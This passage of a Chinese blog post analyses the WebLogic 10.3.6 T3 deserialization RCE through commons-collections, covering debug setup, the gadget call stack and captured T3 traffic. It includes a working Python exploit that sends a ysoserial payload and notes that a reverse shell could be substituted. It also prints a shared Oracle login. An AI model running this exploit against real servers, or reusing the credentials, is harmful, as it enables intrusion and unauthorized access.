					<description><![CDATA[common-collections导致的反序列化RCE，闲着也是闲着，分析下。 环境 centos7 weblogic10.3.6 win10 idea 安装出现的问题 下载需要...]]></description>
										<content:encoded><![CDATA[<p>common-collections导致的<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>RCE，闲着也是闲着，分析下。</p>
<h1>环境</h1>
<p>centos7 <span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>10.3.6 win10 idea</p>
<h1>安装出现的问题</h1>
<p>下载需要Oracle账户，网上百度了一个</p>
<pre><code class="">2696671285@qq.com
密码：Oracle123
</code></pre>
<pre><code class="">-bash: ./oepe-wls-indigo-installer-11.1.1.8.0.201110211138-10.3.6-linux32.bin: /lib/ld-linux.so.2: bad ELF interpreter: 没有那个文件或目录
</code></pre>
<p>解决</p>
<pre><code class="">yum install zlib.i686 -y
</code></pre>
<p>可以图像化安装，也可以命令行静默安装，推荐还是图形化安装，或者docker也行。</p>
<h1>复现</h1>
<p><img src="https://y4er.com/img/uploads/20200130161039.png" alt="20200130161039" /></p>
<p>利用脚本如下</p>
<pre><code class="language-python ">#!/usr/bin/env python
# coding: utf-8

import socket
import struct

def exp(host, port):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, int(port))
    data = ""
    try:
        sock.connect(server_address)
        # Send headers
        headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
        sock.sendall(headers)
        data = sock.recv(2)
        # java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" &gt; ./tmp
        f = open('./tmp', 'rb')
        payload_obj = f.read()
        f.close()
        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
        payload2 = payload_obj
        payload = payload1 + payload2 + payload3

        payload = struct.pack('&gt;I', len(payload)) + payload[4:]

        sock.send(payload)
        data = sock.recv(4096)
    except socket.error as e:
        print (u'socket 连接异常！')
    finally:
        sock.close()

exp('172.16.2.129', 7001)
</code></pre>
<p>利用成功会创建 /tmp/exp 文件，可以把poc改为反弹shell的payload。</p>
<h1>远程调试</h1>
<p>修改 <code>/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh</code> 在上方加入两行debug配置</p>
<p><img src="/wp-content/uploads/2020/01/20200130161119.png" alt="20200130161119" /></p>
<pre><code class="">debugFlag="true"
export debugFlag
</code></pre>
<p>打开idea，创建一个Java web工程，从Linux中把 <code>/root/Oracle/Middleware/modules</code>目录拷出来，在idea中File->Project Structure里找到Libraries，添加modules。<br />
<img src="/wp-content/uploads/2020/01/20200130161135.png" alt="20200130161135" /><br />
然后配置远程调试，填写远程IP以及端口。<br />
<img src="/wp-content/uploads/2020/01/20200130161150.png" alt="20200130161150" /></p>
<p><img src="/wp-content/uploads/2020/01/20200130161205.png" alt="20200130161205" /></p>
<p>重新启动weblogic<br />
<img src="/wp-content/uploads/2020/01/20200130161231.png" alt="20200130161231" /></p>
<p>因为我们知道是 commons-collections的InvokerTransformer出现的问题，所以断点直接下在transform()，开启idea的debug，然后用exp打过去，发现断点已经成功。<br />
<img src="/wp-content/uploads/2020/01/20200130161306.png" alt="20200130161306" /></p>
<h1>漏洞分析</h1>
<p>先上堆栈调用链</p>
<pre><code class="">transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:50, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57
readObject:327, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
</code></pre>
<p>可以看到后半部分是common-collections的反序列化链<br />
<img src="/wp-content/uploads/2020/01/20200130161406.png" alt="20200130161406" /></p>
<p>weblogic中确实用到了这个东西，现在就需要找反序列化的入口，就需要用到weblogic的T3协议了。</p>
<p><code>./Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh</code> 这个脚本是用来关闭weblogic服务的，它的脚本中使用了 <code>t3://</code> 协议。<br />
<img src="/wp-content/uploads/2020/01/20200130161435.png" alt="20200130161435" /><br />
为了研究这个t3协议到底是个什么东西，我用tcpdump监听，然后运行脚本抓到了t3协议的流量。</p>
<pre><code class="">tcpdump -i any -w dump.pcap
</code></pre>
<p>然后发现在t3协议中，传输了序列化对象，我们知道<code>ac ed 00 05</code>是Java中序列化对象的特点，过滤下<br />
<img src="/wp-content/uploads/2020/01/20200130161506.png" alt="20200130161506" /><br />
追踪下tcp流<br />
<img src="/wp-content/uploads/2020/01/20200130161527.png" alt="20200130161527" /></p>
<p>hex转储下，发现确实存在序列化数据。<br />
<img src="/wp-content/uploads/2020/01/20200130161545.png" alt="20200130161545" /></p>
<p>所以我们可以根据t3协议来构造恶意数据进而利用common-collections的反序列化链达到<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>的目的。</p>
<p>接下来就是怎么去构造t3协议数据包？</p>
<p>先来分析下t3协议的数据流，首先是第一个数据包发送了<code>t3 10.3.6nAS:255nHL:19nn</code>，然后服务端回复了一个HELO信息<br />
<img src="/wp-content/uploads/2020/01/20200130161651.png" alt="20200130161651" /></p>
<p>前人经验：使用<code>t3 9.2.0nAS:255nHL:19nn</code>字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。</p>
<p>再来看第二个数据包，将数据流转为C数组<br />
<img src="/wp-content/uploads/2020/01/20200130161707.png" alt="20200130161707" /></p>
<p>复制第二块红色的，代表是第二个请求包。编写Java代码来分析。</p>
<pre><code class="language-java ">package com.test.index;

import java.util.ArrayList;
import java.util.Base64;
import java.io.InputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.OptionalDataException;
import java.io.StreamCorruptedException;
import java.util.Arrays;
import java.util.List;

public class DecodeObject {
    public static void main(String args[]) throws Exception {

        byte bytes[] = { /* Packet 388 */
                (byte) 0x00, (byte) 0x00, (byte) 0x05, (byte) (byte) 0xba, (byte) 0x01, (byte) 0x65, (byte) 0x01, (byte) 0xff,
                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x69, (byte) 0x00, (byte) 0x00, (byte) 0xea, (byte) 0x60, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x18, (byte) 0x05, (byte) 0x08, (byte) 0x4b, (byte) 0xa0, (byte) 0xb4,
                (byte) 0x79, (byte) 0xc0, (byte) 0xd5, (byte) 0x5b, (byte) 0x2a, (byte) 0x27, (byte) 0x86, (byte) 0x3d,
                (byte) 0x71, (byte) 0xf7, (byte) 0x37, (byte) 0xef, (byte) 0xcc, (byte) 0x99, (byte) 0x32, (byte) 0x23,
                (byte) 0x9e, (byte) 0x4b, (byte) 0x75, (byte) 0x02, (byte) 0x79, (byte) 0x73, (byte) 0x72, (byte) 0x00,
                (byte) 0x78, (byte) 0x72, (byte) 0x01, (byte) 0x78, (byte) 0x72, (byte) 0x02, (byte) 0x78, (byte) 0x70,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06,
                (byte) 0x00, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03, (byte) 0x00,
                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06, (byte) 0x00,
                (byte) 0x70, (byte) 0x06, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed,
                (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65,
                (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72,
                (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73,
                (byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e,
                (byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57,
                (byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
                (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
                (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
                (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
                (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
                (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6,
                (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02,
                (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a,
                (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e,
                (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c,
                (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63,
                (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76,
                (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a,
                (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72,
                (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68,
                (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54,
                (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
                (byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
                (byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
                (byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
                (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00,
                (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f,
                (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x78, (byte) 0x70,
                (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00,
                (byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00,
                (byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
                (byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43,
                (byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c,
                (byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52,
                (byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00,
                (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
                (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
                (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
                (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56,
                (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e,
                (byte) 0x66, (byte) 0x6f, (byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52,
                (byte) 0x46, (byte) 0x3e, (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08,
                (byte) 0x70, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73,
                (byte) 0x74, (byte) 0x00, (byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62,
                (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f,
                (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74,
                (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66,
                (byte) 0x6f, (byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65, (byte) 0x6c,
                (byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73,
                (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c, (byte) 0x6a,
                (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e, (byte) 0x67,
                (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x3b,
                (byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69,
                (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41, (byte) 0x73,
                (byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00, (byte) 0x02,
                (byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
                (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
                (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
                (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50,
                (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e,
                (byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae,
                (byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
                (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
                (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
                (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
                (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x71,
                (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69,
                (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f,
                (byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00,
                (byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72,
                (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00,
                (byte) 0x04, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78,
                (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05,
                (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
                (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76,
                (byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54,
                (byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72,
                (byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9,
                (byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00,
                (byte) 0x21, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
                (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e,
                (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61,
                (byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x65, (byte) 0x65, (byte) 0x72, (byte) 0x49, (byte) 0x6e,
                (byte) 0x66, (byte) 0x6f, (byte) 0x58, (byte) 0x54, (byte) 0x74, (byte) 0xf3, (byte) 0x9b, (byte) 0xc9,
                (byte) 0x08, (byte) 0xf1, (byte) 0x02, (byte) 0x00, (byte) 0x06, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
                (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
                (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
                (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
                (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
                (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
                (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
                (byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
                (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
                (byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
                (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
                (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x3b,
                (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
                (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d,
                (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
                (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56, (byte) 0x65, (byte) 0x72,
                (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f,
                (byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52, (byte) 0x46, (byte) 0x3e,
                (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
                (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x71, (byte) 0x00,
                (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65,
                (byte) 0x6c, (byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72,
                (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
                (byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
                (byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
                (byte) 0x3b, (byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73,
